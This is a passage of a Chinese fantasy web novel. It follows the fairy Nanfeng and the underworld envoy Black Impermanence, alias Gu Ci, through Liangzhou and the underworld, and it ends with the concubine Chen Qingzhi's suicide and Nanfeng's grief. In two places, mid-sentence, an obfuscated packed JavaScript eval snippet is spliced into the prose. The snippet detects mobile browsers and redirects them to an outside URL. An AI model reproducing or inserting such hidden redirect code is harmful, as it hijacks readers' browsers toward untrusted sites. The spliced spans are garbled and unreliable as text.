西雨揉着后脑勺噤声。心下终于能回床榻睡觉,深鞠躬谢过东婝后,一溜烟儿,人没了。 终于安静下来,西雨盖上被子准备睡觉—— “呜啊——” ……为什么哭了……为什么还能听到哭声啊…… 房门被猛地推开,东婝抱着抽噎的星辰杀气腾腾地走进室内。 “你跑这么快作甚。星辰的用品不都在你这儿吗?快起来帮忙。” “……二姐,让我睡个觉吧……” 东婝对西雨的哀求充耳不闻,自顾自地翻弄着桌上那堆杂乱的物件。 毫无育儿经验的人手忙脚乱,半天搞不出个名堂。最后,还是全权交给顶着一头阴霾的西雨。 东婝挑眉,唇角微扬:“不错嘛,已经练成熟手了。” 西雨面无表情地瞥她一眼:“……我不需要这项技能,倒是二姐,枕书君劝回来了吗?” “闭嘴。” 东婝坐在桌边,单手撑在下颌,眸色微沉。 “此番东凉之行,与小妹重生前发生过的截然不同,莫名出现了太多变数。南风从小见不得死事,我担心她一时受不来,做出什么蠢事。” 西雨抱起星辰,轻轻拍抚她的后背。 “她做的蠢事还少了吗。” “我正是担心此事。死一个贺祈源就变成那样,眼下接连——”东婝倏地站起身,“不行,我得去跟所有人说说,不许告诉南风去往西洲孤岛的路,否则她……” 西雨沉吟,忽然问道:“上一次是谁告诉她的?” 东婝脚步一顿,说:“人间一个叫顾辞的算命先生。” 安抚星辰的手一顿,西雨眉头微蹙,“算命先生?他又从何得知去往西洲的路?算出来的?” 东婝冷笑一声,眸中闪过一丝锐色。 “比起这点,我更好奇这个叫顾辞的人。我寻遍人间,从未找到过他。” 83. 晓梦啼莺 【逆梦归尘】 蓬莱仙岛漫长的海岸线,潮声低吟,坐在礁石上窃听凡人许下的心愿,是我活了三千年最大的乐趣。 那天,我听见她的愿望。 海面升起的白雾愈发浓重,我正准备打道回府,一盏明灯吸引了我的注意。 居然有人在阴天放灯? 渐渐地,我已经踏着海面,走到那盏灯面前,以仙力托起漂浮于海面的灯。指尖触到灯纸上未干的泪痕,洇开了墨迹。阖眼凝神,少女的嗓音便如细流般淌入耳中,带着哽咽与希冀。 我喃喃重复道:“东凉?唉,抱歉啊,爹爹关我禁闭呢,没法帮你。否则,就冲这张脸,我绝对帮你啊!” 我低头看向人界那个双手合掌许下心愿的美人,远山眉黛、亭亭玉立,衣袂被风沙掀起,似荒漠欲飞的蝶。 少女啜泣的声音散去,海面归于寂静。白雾更浓,人间快要下雨了。我收起她的天灯,折返蓬莱第几宫。 后院的莲池氤氲着灵气,蓝紫色的莲花在月光下泛着幽光。我将天灯轻轻放入水中,灯影与莲影交叠,涟漪荡开。我抱着双膝望着它发呆。 “娘亲,南风要不要去帮她?爹爹会让我去吗?我刚去凡间丢下那个叫闻笙的男子,眼下又去,爹爹肯定以为我又去惹祸。” 一瞬间,蓝紫莲花似是听到我的声音,有什么模糊的字句进入我的意识。 “明白!” 我倏然展颜,抓起地上的羽带旋即消失。 蓬莱的竹林在风中簌簌作响,青翠的竹叶摩挲着,像是谁在低语。爹爹曾说,若在竹林中寻不见娘亲,便对着那池蓝紫色的莲花说话。那是娘亲手植的莲,瓣尖总凝着露水,颜色深得像暮色将临时的天光。三千年了,我从未见过娘亲的幻影,倒是指尖触到莲瓣时,偶尔会有零星字句浮上心头,恍若回应。 竹林里……真的能见到娘亲吗…… 哥哥说,娘亲名唤桑竹,是司掌世间竹林的仙。可蓬莱第几宫的竹林愈发苍郁,竹节生得比玉还润,新笋破土时能听见清脆的迸裂声,却始终没有她的身影。 见色起意的南风仙子,最终还是硬着头皮找到方大仙,展开一场软硬兼施的哀求。 “那个叫韩风的姑娘,就洛城那个,就我给她取名字那个,爹爹还记得吧?她向我许愿,帮她完成一个小小的心愿。” “什么心愿?” 方大仙头都没抬,笔尖在纸上唰唰地走 我抠着手指头,硬着头皮大道:“就……就她那竹马。夏什么要飞要……要死了,对。年纪轻轻的,被关起来天天被鞭子抽打、关水牢。韩风希望我去救他。” 方大仙搁笔,折上手中的纸,漫不经心道:“少干涉凡人的事。” “我也不想管的,但是爹爹你看,那孩子多可怜。我若不去,她日后不相信神灵的存在,我颜面何在!” 我急了,越过面前的桌案拽他袖子。年迈的人被我一拽,差点踉跄跌一跤。方大仙皱起五官,抽回手整理衣冠。 “你跟爹说实话,吾就放你去。” “真的?” “此去莫要忘了羽带,傍身保护你。” 我认真点了点头,正襟危坐行礼道谢:“谢谢爹爹!那我走了!” “回来。” 我脚都跨出门槛了,一听这话差点绊倒。 “您不会反悔了吧!不可以啊!男子汉大丈夫,说话算话!” 方大仙眯着眼看我,语气多添几分寒气:“吾说的是,你跟吾说实话,才放你去。” “哦!差点忘了。东凉有个姓陈的姑娘家里见鬼,马上家破人亡,我看不下去,去帮她驱鬼。” 方大仙不由愕然。 “你什么时候会驱鬼了?” 我理直气壮道:“我不会啊。” “……” 方大仙听此话,几不可闻地哀叹。见我要走,又出声叫住我。 “回来。” 我撇嘴,“爹爹又怎么了……” “吾跟阎王是老相识,让他派个阴差陪你去。” 说吧,他将刚才写下的信笺交于我。 “阴差?鬼?不要,好可怕。” “阴差抓鬼,你懂个屁的驱鬼。” “行吧,那爹爹你通知阎王让那阴差去人界东凉的凉州府找我,我先走啦!” 我一路狂奔,终于逃离蓬莱第几宫几十里外,找到一处僻静,确定爹爹没跟来后才松了口气。 非指名道姓向我许愿的人就住在东凉第二大府,凉州。有了羽带的指引,前往凉州的路不至于拐错道,出行畅通无阻。凉州不算太繁华,但别具一方特色。一路上,我甚至不需要主动打听,就能或多或少获取到关于那姑娘家的信息。 似乎是家中出了什么变故,面临家破人亡的惨状。那姑娘在家中排行老三,生得娇美,父亲一心想她嫁给朝中权贵,一举改变氏族命运。 我坐在茶楼里,喝着茶听着书。也不急于一时嘛,家破人亡此等大事,哪儿是几个时辰就会发生的。况且爹爹给我安排的地府阴差还没到,先吃饱喝足再上路。 “请问是仙子?” 又来一个搭讪的。我眼皮都懒得抬,指节轻叩着茶盏,任由说书人的声音在茶楼里回荡。 “不是。” “地府黑无常,受命协助仙子捉拿恶鬼。” 我回想起西雨曾描述过地府阴差的相貌,倒跟眼前不人不鬼的男子相差无几。 “啊~阎王身边的那个啥黑鬼,我是南风。” 我拖高音调,终于掀起眼皮瞥他一眼。阎王竟直接派了黑无常来帮我,未免太大气。 黑无常看着我,脸上的神色并未变化,死潭似的双眸目不转睛的打量起我。灰黑的皮肤,黑色的长袍,黑色的官帽,黑色的…… 我的眉梢不自觉挑了一下:“你就穿着这身在人间游荡啊?还有你那条蛇,收一收,我怕蛇。” 话音未落,那黑蛇倏地窜出,鳞片刮过我的袖角,带起一阵阴冷腥风。信子嘶嘶作响,竖瞳里泛着死气,仿佛下一秒就要缠上我的脖颈。画面有些恐怖,我一个跨步躲到黑无常另一侧。 黑无常不以为然:“凡人看不见我,无妨。” 我咬牙切齿一脸嫌弃道:“我看得见啊。去换 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我接过绣帕道:“这儿是人界,你一直叫我仙子,被人认出怎么办。你也是,我又不好叫你黑无常。你给自己取个凡人的名字吧,还记得你生前的名字吗?” “范——不记得了。” “你刚刚是不是说了个范字?” “没有,仙子听错了。” 他语气平淡,仿佛真是什么也没说。 “……装神弄鬼。那我给你取一个吧。” 我环顾起四周,发现不了一点给我灵感的事物。 “唔——” 凉州城外的荒野上,一轮孤月悬得极低,将戈壁照得泛出冷铁般的青灰。远山连绵的轮廓被月光勾勒得锋利,与我在蓬莱仙岛望见的景象竟莫名重合。只是那里潮声呜咽,浪沫舔舐的礁石被月光镀成银鳞,而此处唯有风卷砂砾,簌簌地磨着山岩。 我定了定神,文绉绉启齿道:“顾影海底月,辞眸心上人。你就叫顾辞吧。契合你的名字,我也给自己取一个。顾影辞风,月如初。影风……不好听。孤灯照壁诗初就,淡月窥窗影自徊……我便叫赵风啦。” 黑无常目光深邃,沉默片刻,开口道:“顾辞。好。” 残破的门匾斜挂在檐下,漆皮剥落得几乎辨不出原本的字迹。即便正午的烈阳当空,这座院落仍被一层阴翳笼罩,仿佛连光都透不进去。我抬手叩响斑驳的木门,铜环撞击声在空荡的院子里回荡,许久才听见一阵急促的脚步声由远及近。 门“吱呀”一声打开,露出昨日那姑娘姣好的面容。 “两位是……” 我拱手一礼,刻意放柔了声音道:“陈姑娘好,我二人自霜洲神山而来。路过此处,听见姑娘的心愿,特来为你实现愿望,驱走邪祟。” “我的,愿望?” 陈姑娘不解,懵然地在我和黑无常之间来回游移。 我微微一笑,袖中指尖轻弹,一缕清风拂过院中枯树,霎时催开几朵红梅嫩芽。陈姑娘瞳孔微缩,不自觉地后退半步——这正是我要的效果。 这是南风仙子化名为赵风,初次与一年后东凉皇宫的陈美人见面。 84. 清芷如兰 我第一次见到了陈清芷,一年后东凉皇宫的陈美人。 她身着素白襦裙,腰间系着一条淡青色丝绦,乌黑的长发只用一支木簪松松挽起。当她转身引路时,发梢掠过一阵若有似无的兰香。那双杏眼清澈见底,眼尾微微下垂,透着几分不谙世事的天真。 她领我和顾辞越过南墙,打理得井井有条但依旧萧瑟的庭院映入眼帘。墙角的梅树寒冬腊月也不见花苞,枝干嶙峋如骨,唯独泥地里莫名多出一枝开得极好的,是她从山间折回的,艳红的花瓣在寒风中轻轻颤动。 “我还是没明白姑娘刚才的话……你是如何听到我许下的心愿?” 陈清芷望向我的眼神有些不确定,长睫毛在眼下投下一片阴影。我怔愣在原地,平日里信手拈来的谎话在看到她那张纯然的面容后,竟半个字也编不出来。 顾辞不动声色地将我拉至身后,摆出道士的姿态说道:“贫道顾辞,云游四方,途经宝地。忽见贵府阴气缠宅,恐有邪祟作乱。若信得过,不妨让贫道一试——驱鬼辟邪,还个清净。” 变了模样的黑无常,面容清冷却无疏离感。轻柔正经的嗓音,一下取得了陈清芷的信任。 “我的愿望成真了……多谢道长!我这就去告诉爹爹!” 我见她小跑着离开,稍稍松了口气。 “不过这宅子,真的有恶鬼吗?”我压低声音问道。 “没有。” “啊?怎么会。没有恶鬼,陈家怎么会那么倒霉?” “因为——”他忽然抬头望向天边,我顺着他的视线看去,只见一团阴云正缓缓聚拢,“即将天降大喜。” “什么意思?” 没等问出下一一句,陈清芷又小跑着出现。她气息微乱,几缕碎发黏在沁出汗珠的额角,手里还攥着块半旧的帕子。 “两位道长,可有什么……小女能帮上忙的?但说无妨。陈家若再这般衰败下去,清芷怕爹爹他……” 我下意识伸手想拍拍她的肩膀,却在触及前想起什么,硬生生改为整理自己的衣襟,说道:“姑娘放心!我一定会帮你的!” “多谢这位女道长。还不知道长姓名?” “我叫赵风,是顾辞道长的得力助手。” 忽然在袖中摩挲的手触碰到了我从蓬莱第几宫带来的绣帕。我忙不迭掏出来:“对了清芷姑娘!这个,送给你。” “绣帕?这绣的是……是木槿花?” “是玉兰花,白玉兰。本想绣兰花的,奈何技艺不佳,还用了色线,姑娘莫要嫌弃。” 我挠挠头,有些窘迫。陈清芷将绣帕贴在胸前,眼中似有星光流转。 “清芷谢过赵姑娘。” “不谢!谁叫你长得那么——” 顾辞突然挡在我身前,他微微侧首,给了我一个警告的眼神。转身又轻言细语对陈清芷说:“做法现场不宜有外人围观,陈姑娘暂且回避吧。” 陈清芷欠身行礼,“是,那便辛苦道长了。” 待陈清芷离开,我搬过顾辞宛如死人般没有温度的脸转向自己,狡黠地半眯眼盯着他。 “你话还没讲完欸,什么天降大喜?” 他任由我捏着脸,扬起一抹阴森的笑。 “直说岂非无趣?仙子这些日子陪我追魂捉鬼,再等三日,我陪仙子一同见证,如何?” “……装神弄鬼。” “我本就是鬼。” 阴差捉鬼的过程和我想象的,不说略微不同,简直毫不相干。 我蹲在人家房梁上,眼睁睁看着顾辞一袭黑衣飘然而入。那本该张牙舞爪的怨鬼正坐在镜前梳头,从铜镜里瞧见他,竟慢悠悠放下木梳,还理了理衣襟。 “哟,阴差大人来啦?容妾身再抿个胭脂……” 那女鬼转头嫣然一笑,惨白的脸上竟显出几分羞赧。 “想不到阴差大人生得如此俊俏,何不与我翻云覆雨一番后再离开?” “不必。” 黑无常指尖一挑,一道黑雾便缠上女鬼腕间。 没有精彩刺激的追逐大战,没有歇斯底里的对抗,安安静静、和和气气。这跟茶楼说书先生讲的完全不一样啊! “捉完了?” “嗯,走吧。地府。” “啊?我可以去吗?” 那种地方活人是可以随便去的吗? 他领我来到村口那口老井边。青苔爬满井壁,月光在幽深的水面上碎成银屑。我扒着潮湿的井沿往下看,黑黝黝的井底仿佛没有尽头,冷飕飕的风直往领口里钻。 我忽地想起什么,退后几步指着黑无常愤愤不平道:“好啊,你个黑无常,诡计多端,想骗我和你去地府,然后趁机把我变成怨鬼,好完成你的业绩,是不是!” 月光下黑无常的侧脸像被冰霜凝住,一旁的女鬼掩唇偷笑。 “仙子还是少去人间的茶楼听些莫名其妙的书,对脑子不好。” “哼。” 血色的河水无声流淌,浓雾在河面上翻涌,偶尔露出底下沉浮的残魂,苍白的手伸出水面,又无声无息地被暗流吞没。河岸两侧,赤红的花绵延成海,花瓣如火焰燃烧,无风自动,摇曳时洒落点点幽光,照亮了花丛间游荡的孤魂。 长桥上,无数游魂排成灰白的队伍,沉默地向前挪动。他们低垂着头,面容模糊,偶尔有谁被花海吸引,稍稍驻足,便会被阴差冰冷的锁链拽回队伍。花海深处,隐约传来低泣与叹息,却又在靠近时消散无踪。 我蹲身捡起地上一朵被人折下丢弃的花,问身后的鬼:“这是什么花?我从未在人界和蓬莱见过。” “彼岸花,地府才有的花。” 血红色的花瓣半蜷着,边缘已经有些发黑,花蕊深处渗出几滴暗色汁液,在惨白的指间显得格外刺目。 “难怪那么渗人……” 我猛地打了个寒颤,苦皱着脸把手中的花丢得老远。在花落地之前,被黑无常指尖流出的黑气稳稳接住,又送回我面前。 “拿远点,我不要。” 地府的那夜,我看到一个似曾相识的身影。 “我们是不是在哪儿见过?” 置身彼岸花海的人微微侧过头,对我勾起唇角。惨白的皮肤,没有血色的唇,我不经怀疑她是人是鬼。她弯腰摘下一朵血色的花,送到鼻尖前轻嗅。 “不可在此逗留。你不该来。” 她的声音很轻,却像是从很远的地方传来。她转过身,墨发披散,遮挡她的面容。 “这里是已死之人来的地方。你不该来。” 她朝我迈进一步,脚下花瓣无声碾碎。 “那个将你推至万劫不复的人尚未出现。你不该来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056797|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她每说一句话便朝我迈进一步。 “起死回生,只可救你两次。你不该来。” 她到底在说什么?我听得云里雾里,可心跳却不受控制地加快。 “赤方还未告诉你那两人的名字……你不该来。” 赤方?她居然认识爹爹? 我张了张嘴,却发不出声音。而她已经站在我面前,冰凉的手指轻轻抚上我的脸颊。那一瞬间,她的面容终于清晰——和二姐几乎一模一样,却更温柔,更疲惫,眼底藏着某种我读不懂的情绪。 “你——” 她微笑着唤我:“南风” 好奇妙的感觉……心猛地一颤,眼眶骤然发热。我明明从未见过她,可这嗓音却像是早已刻进骨血里,熟悉得让我几乎落泪。 “难道你是——” “那个能拯救你的孩子尚未出现。等你见到他的第一眼,身体和心灵会指引你。娘亲留下了一缕孤魂在地府,怕的是有一天,那预言成真,你迷失黄泉,找不到回家的路。” “娘……娘亲?” 我从未见过娘亲,只听哥哥说,娘亲和二姐长得很像。 眼泪不知何时滑落,我下意识低下头,以为她想抚摸我的发顶。 可她只是轻轻笑了。 “忘记娘亲的话,回家吧。” 话音落下,她的身影如烟般散入花海。而我站在原地,眼前的一幕幕从脑海中支离破碎的消散。我跌跌撞撞地走向忘川河,看着亡魂的队伍,似乎想寻找什么。 左脚迈入冰冷血红的河水,就在右脚即将踏入河水的瞬间,腰间一紧,整个人被拽进一个冰冷的怀抱。 “仙子是想转入轮回,不做神仙了吗?” “不是……” 迷离的眼前是黑无常没有起伏的胸膛。 “是娘亲……我看到娘亲了……” 我闭了闭眼,再次睁开,撞进黑无常幽深的眸子。 “我在哪儿?你怎么又穿上这身黑漆漆的衣服了?空气里是什么味道?好难闻。你是带我去了什么乱葬岗吗?” 我嫌弃地捂住鼻子,黑无常静默良久不语。忽然伸手将我按进胸膛,旋即,空气中的味道变了,黑无常也换回顾辞的容貌和打扮。我抬头环顾四周,白雪皑皑、梅香四溢。 “仙子可还记得,我们方才所在何处?” “你忘了?这才过了多久。”我莫名其妙地看着他。 “我在问仙子。” 我不假思索道:“凉州啊。陪你去抓一个妖娆的女鬼。” “然后呢?” “然后?没有了。我等你等睡着了,醒来……”突然意识到还被他圈在怀里,耳根一热,我休红着脸眼神躲闪,“就看你莫名其妙把我按在怀里了。” 顾辞眸色骤然转深,眼底似有暗流涌动。他忽然抬手,修长黝黑的手指轻轻抚上我的眼角。 “干、干嘛?” “眼泪。” “眼泪?我哭了?” 我茫然抬手摸了摸脸颊,指尖触到一片湿润。 “奇怪……估计是打哈欠的眼泪吧。” 顾辞的指尖在我眼尾停顿片刻,突然收拢成拳。他垂下眼睫,在苍白的脸上投下一片阴影。 “走吧。陈氏大喜之日已到,我陪仙子看出好戏。” 85. 小梅春透 城墙之上,落雪初霁,云开见日。碎金般的阳光洒落下来,果真应了那大喜之兆。 我站在凉州最高的角楼,指尖还残留着未化的雪水。身侧的顾辞静立如松,目光沉静地望着远处蜿蜒如龙的仪仗缓缓驶入城门。 “夏逸飞?” 最前列的枣红骏马上,那银甲少年脊背挺得笔直,在阳光下折射出耀眼的光芒。 我眯起眼,认出了那张棱角分明的脸—— 正是在东凉校场,我应韩风之托救下的少年。 如今他头盔上的红翎随风烈烈,斩下东凉前任大将军的头颅,踏着血河坐稳了这位置。 “仙子认识那人?” “嗯,前段日子救了他。换算成人界的时间,应该是好几年前的事。” “多管闲事的仙。” 我闻言不以为然轻笑道:“本就是闲散之仙。欸,后面马车里坐的谁?” “东凉皇帝,拓跋枭。” “皇帝啊……啊!你说的天降大喜难道是指——” “陈清芷即将封为陈美人。” “阴差连这都知道?” “地府能看到凡人的命数,来时看了眼。” “这种东西是可以随便看的吗?那你也看看我的呗。” 我凑近半步,一脸期待地望着他。 顾辞突然用两指指尖抵住我额头,隔着半臂的距离,我看见他唇角扬起微不可察的弧度。 “神仙不归我们管。” 莅临凉州的拓跋枭在人群中一眼看到了长相尤为出众的陈清芷,当即宣布带回皇宫,封为美人。 满足了陈清芷的心愿,我也该回蓬莱第几宫跟爹爹交差。 “也该分别啦。这些日子打扰你工作了。见你之前还想着阴间的鬼不通人性,怕不好相处呢。” 顾辞突然抬手拂去我肩头落雪,指尖将我鬓边的一缕发丝别至而后。 动作过于自然,我竟没察觉到一丝不对。 “从那日茶楼起我便想问仙子。” “你说。” “你是不是把我忘了?” “嗯?嗯??” “仙子的意识里,这是我们第一次见面?” “难道不是吗?” 我望着他,忽然不确定起来。 “不是。也对,上一面,不过匆匆一面。” “我年纪大了,记性不太好……我们在哪儿见过?” “光州。” 记忆如洪水般涌来。 “光州?闻笙?你是……闻笙?!” 他沉下气扶额道:“仙子的脑子果然异于常人。你与闻笙做完青竹发簪后,光州酒楼外,我们见过。” 思绪倒流,被他一个弹指打断。 “别想了。我走了。” “哦……您慢点。” 那天,与黑无常分别后,我确确实实回了蓬莱第几宫,只差一门之隔就能见到爹爹。 “韩风?” 自我赐予韩风名字后,那孩子长大进宫后,我常能听见她的心声。 当年救下夏逸飞,那个与他再见的心愿,也是心灵传语听见的。 一手半推开蓬莱第几宫的大门,韩风急切的声音在耳边响起。 我愣在原地半晌,静默地收回手,转身离开了蓬莱第几宫。 赵国公主私自逃出宫,一路辗转至环州,却在与心上人相见前意外失踪。 韩风作为公主的贴身侍女,化名风儿随行。 公主下落不明,她心急如焚,向我许愿求救。 我从未细想为何赵国公主的心上人会驻守西北荒漠,直到在东凉皇宫救下她时,这个疑问才涌上心头。 “赵国公主是怎么把自己搞到东凉皇宫的,我很好奇。” 我掀开床榻上蜷缩的被褥,被褥下露出“赵国第一才女”哭肿的脸。 她抽噎道:“我……我只是想见贺郎……便来定边军寻他……谁知……” “谁知半路被东凉皇帝看上,强掠回皇宫。”我冷声打断。 她的眼泪又涌了出来,抬手捂着脸痛苦道:“我该怎么办……我不能在这儿……若是被父皇知道……” “别哭!”我厉声喝止住公主的哭声,“自己做错了事情不好生反省,就知道哭!哭能解决问题吗!你知道韩风四处找你,差点被饿狼吃了吗!” 她猛地抬头,红肿的眼中闪过惊慌。 “风儿?!风儿她还好吗!” “你先闭嘴吧,我想想办法。” 我环顾四周,压低声音问道:“拓跋枭知道你的名字吗?” 她慌乱摇头:“还不知道……我没告诉他……” “也对,知道了,不就知道了你的身份。” “身份吗……那日风儿情急中叫我了公主……我猜……他应该知道了……” “……” 我越想越气愤,生生将她从床榻拽起,羽袖轻拂间已为她换上赵国的衣裳。 她瞪大眼睛望着我:“你是——神仙?!” “闭嘴。”我打断她的惊呼,“我送你回环州,但你得答应我,找到韩风后立刻回家。” “嗯……那你怎么办?” “我替你留在这儿。” “这怎么行!” “我是仙,自有办法逃出去。拓跋枭可有知晓你什么特别之处?” “他抓到我那天比较混乱……他先是撞见了风儿沐浴,风儿逃回我身边后,我这才与他身后跟来的人碰面。那人是拓跋枭的侍从,二话不说便把我抓去见他……” “垃圾!人渣!居然看小姑娘洗澡!” “不是的……是风儿走错了地方……” 我怔愣,无语扶额叹了口气:“所以你们到底逃出来干嘛?” 公主的声音轻柔下来解释道:“为了见我的心上人,贺郎。我与他,已数年不见。他驻守边疆,整日带兵打仗,我担心他……” 竟是为了心上人。还是个痴情的公主。 “罢了。他既然看到了韩风的身体,那姑娘——” 韩风的身体,我知晓了。 指尖点上胸前,梅花胎记随波动的微光显现。 “仙子竟知道风儿身上的胎记?!那仙子可否能告诉我,贺郎现在,还好吗?” 我不看她懒懒道:“贺郎又不是全名,我哪儿知道你说的谁。” 公主犹豫片刻说:“他叫,贺祈源。” 我看向含情脉脉的公主,没忍住发出嫉妒的声音。 “哼,年纪轻轻就亲亲爱爱。他很好,而且,不多久便回京都,你回去等着吧。” “真的?多谢仙子!” 我最后看了眼这个为爱痴狂的公主。 “记住,回去后别再任性妄为了,赵国公主,赵清漪。” 禁书中曾记载一群女子为争一个男子的宠爱而斗得你死我活的故事。 从前只当是些无聊之人的荒唐事,心想安安稳稳过自己的日子不好么。 直到身临其境才明白,即便你不去招惹是非,是非也会找上门来。 “赵风公主与夏将军有私情!” 李美人尖利的声音划破殿内寂静。 我强自镇定,懒得搭理她,继续专注在我前院的一池子莲花上。 “满口胡言。” 李美人从袖中缓缓取出一块鎏金令牌,在烛光下泛着冷光:“这是从春来秋雨殿找出的将军令牌,公主还要狡辩么?” 我猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056798|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身,“你竟敢擅闯春来秋雨殿!” 李美人缓步逼近,身上浓郁的香熏得人头晕。她凑到我耳边,阴恻恻地低语:“要你死,我什么都敢。” 当夜,为保全夏逸飞的官职与性命,我连夜离开了春来秋雨殿。 但在走之前咽不下这口气,将春来秋雨殿摔了个稀巴烂。 香炉滚落台阶,翡翠屏风碎成八片,青瓷花瓶抡圆了往墙柱上砸。 什么胭脂水粉当花瓣撒,铜镜咔咔摔成三半。 最后抄起墩子往窗棂狠命一砸,“嗤啦”一声木屑横飞,纱幔“嘶啦”扯落,珠帘“咕噜咕噜”散一地。 呵!我好要让春来秋雨殿变成幽灵游荡的鬼屋!我看以后谁敢来住! 所以说人、神,做事还是不能太绝了,小心搬起石头几年后砸到自己的脚。 离宫那日,晨雾未散。 夏逸飞独自站在春来院的朱漆大门前目送我离去,没有阻拦。也未要我许下再见之约,只说了三个字。 “对不起。” 【梦溯流光】 “活下去……一定要活下去……” “我要你死!我让整个赵国都给你陪葬!” “春来秋雨殿的那幅画从何而来?” “末将不知。” “贺祈源?赵国贺家三将军,贺祈骁的弟弟……朕要你潜入赵国,杀了他。” “末将遵旨。另外,地牢关押的这批人,三年之期将至,陛下要亲自去看看吗?” “又是一群扶不上墙的烂泥,不浪费朕的时间。” “是。” 耳边不断传来怪异的交谈声,昏沉间,我似乎听到了熟悉的名字和故事。胸口仿佛压着千斤重的巨石,连呼吸都变得艰难。 我拼命挣扎着睁开眼,发现是玉笛横压在胸前,只是此刻它被浓稠如墨的黑气缠绕,在昏暗的光线下,当真像极了块巨石。 “玉笛别压着我……你好重啊……” “不是玉笛,是我。” 一道冰冷的声音从门口传来。抬眼望去,黑无常静立在那里,手中的锁魂链泛着幽幽寒光。 那条伴生的黑蛇缠绕在他颈间,猩红的信子吞吐间,我仿佛又闻到了地府特有的腐朽气息。 我心头一紧,“锁魂链?有人死了?” 黑无常静立在门框投下的阴影里,灰败的面容没有一丝表情。 他手中的锁魂链无风自动,发出令人毛骨悚然的哗啦声。 “人之悲喜,相生相成。既经大喜,必有大悲。因果轮回,时日已至。” 我懵然地看着他。 黑无常对上我的视线,继续说道:“事有因,必有果。无聊之神改变了因,所制成的后果……时日已至。” 我沉下眸子,捋了捋他的话,幡然醒悟。 “不会吧……” 我艰难踉跄地冲进兰熏殿,刚推门而入,迎面撞上从里冲出来的另一个人。 是陈美人身边的侍女。她脸上惊惶之色未褪,嘴唇颤抖着却说不出一个字,只余喉间溢出几声破碎的呜咽。 兰熏殿内沉香混着未散的烛烟,凝成令人窒息的浊雾。我一把推开她,跌跌撞撞冲进陈美人的卧室。 那方绣着玉兰的帕子静静躺在地面,抬头时,悬在房梁下的红裳刺得眼眶生疼。 她垂落的广袖被晨风轻轻掀起,案上红烛早已成灰,半盏冷茶映着窗外的熹微晨光。 膝盖无力跪在地上,我终于崩溃大哭。 封后大典三日前,陈美人一袭红裳中衣悬于梁上,青丝披散,绣鞋坠落于地。 而窗外天光将明未明,照得满地碎影如她此生未写完的诗。 东凉陈美人,陈清芷,享年二四。 86. 孤馆灯青 “是谁逼她的?” “没人。” “不可能。一个活生生的人,怎会无缘无故悬梁自尽!” 黑无常平静的看着我。 “不就在此么?” “你什么意思?” 黑无常忽然幻化出铜镜,镜中映出我猩红的双眼。 “仙子看看自己,如今的你,可还认得入宫时的楚风?你还是那个受点委屈只敢哭哭啼啼的人吗?” 我气愤到哑口无言。 “陈清芷知晓是你杀了李皇后,也知道了你藏匿起柏夫人和阿丘的尸体。是你亲口承诺,要带她们离开。” “就因为这句话,她便寻了短见?” “她若不死,永世难逃。” 绣着玉兰的帕子被攥得支离破碎。我跪倒在焦黑的地砖上,额头抵在冰冷的地砖上,额发垂落遮住扭曲的面容。 “又是我……又是我的错……” “凡人寿命本就短暂,不过弹指一挥,仙子不必太过自责。” “你让我怎么不自责……若没有我说的话,若没有我问她些奇奇怪怪的问题,她也不会……” “陈清芷早在月华池宴当夜就应该离世的。是你与她擦肩而过,改写了她的命途。之后,你又替她治疗,延续了寿命。生死轮回,本是天道,不是仙子的错。” “哪里不是我的错!你所说的每一句都是我的错!” 我歇斯底里地打断他,终于彻底崩溃,扑在陈清芷冰冷的身体上,泪水决堤而出。 “都是我的错……又是我……又是我……” 黑无常在我身边蹲下,捧起我的脸,直视他的眼睛。 “这就对了。” 模糊的视线内,我看见他露出得逞的笑。 “很痛,痛到恨不得所有人都感受比这痛还要痛上一万倍的痛。” 阴冷的指尖划过我的脸庞,似是只有灰骨,冷而硬的灰色骨头。 “就该所有人都为她们陪葬。” 深夜,寂寥的春来殿,千树万树梨花开。我不记得何时种下那么多梨花树,也不记得梨花是冬天开还是春天开。潮湿与枷锁折磨着我,让人忘了今夕是何年。 “室内好闷,要与我出去透透气吗?” 夏逸飞站在门外注视着跪在三张床榻边为她们擦拭脸庞的我。 我随口应了声,端起地上的水盆起身,跨出门槛后带上房门。 玉笛将她们的身体保护得很好,除了我和鬼神,没人能看见她们。 夏逸飞能看见我拿着浸湿的帕子擦拭,却看不见擦拭的何物。 他不问,我也不问。 夏逸飞提了壶凉州冬酒来看我,在后院万千梨花里邀我与他赏夜色。 院墙外是漫天大雪,春来秋雨殿却置身世外,独享春秋之际。夏逸飞从前便知我是蓬莱仙岛的仙,并不讶异满园春色。 他站在开得最盛的一棵树下,眼神在月夜下氤氲着诸多情绪。 “陈美人的遗体也莫名失踪了。”他冷不丁说道,“疯掉的侍女口中问不出话,三宫六院都寻不到。” 夏逸飞折下一直梨花,我伸出手,他小心翼翼地交于我。柔嫩的花瓣摩挲着掌心,留下温柔的触感。 我说:“她们不属于这里。” 夏逸飞说:“没人属于任何地方。究其一生,皆是飘无定所。从一个地方,到另一个地方。又不知餍足,继续寻找下一个地方。人为了活下去,什么都做。” “可是她们已经……” 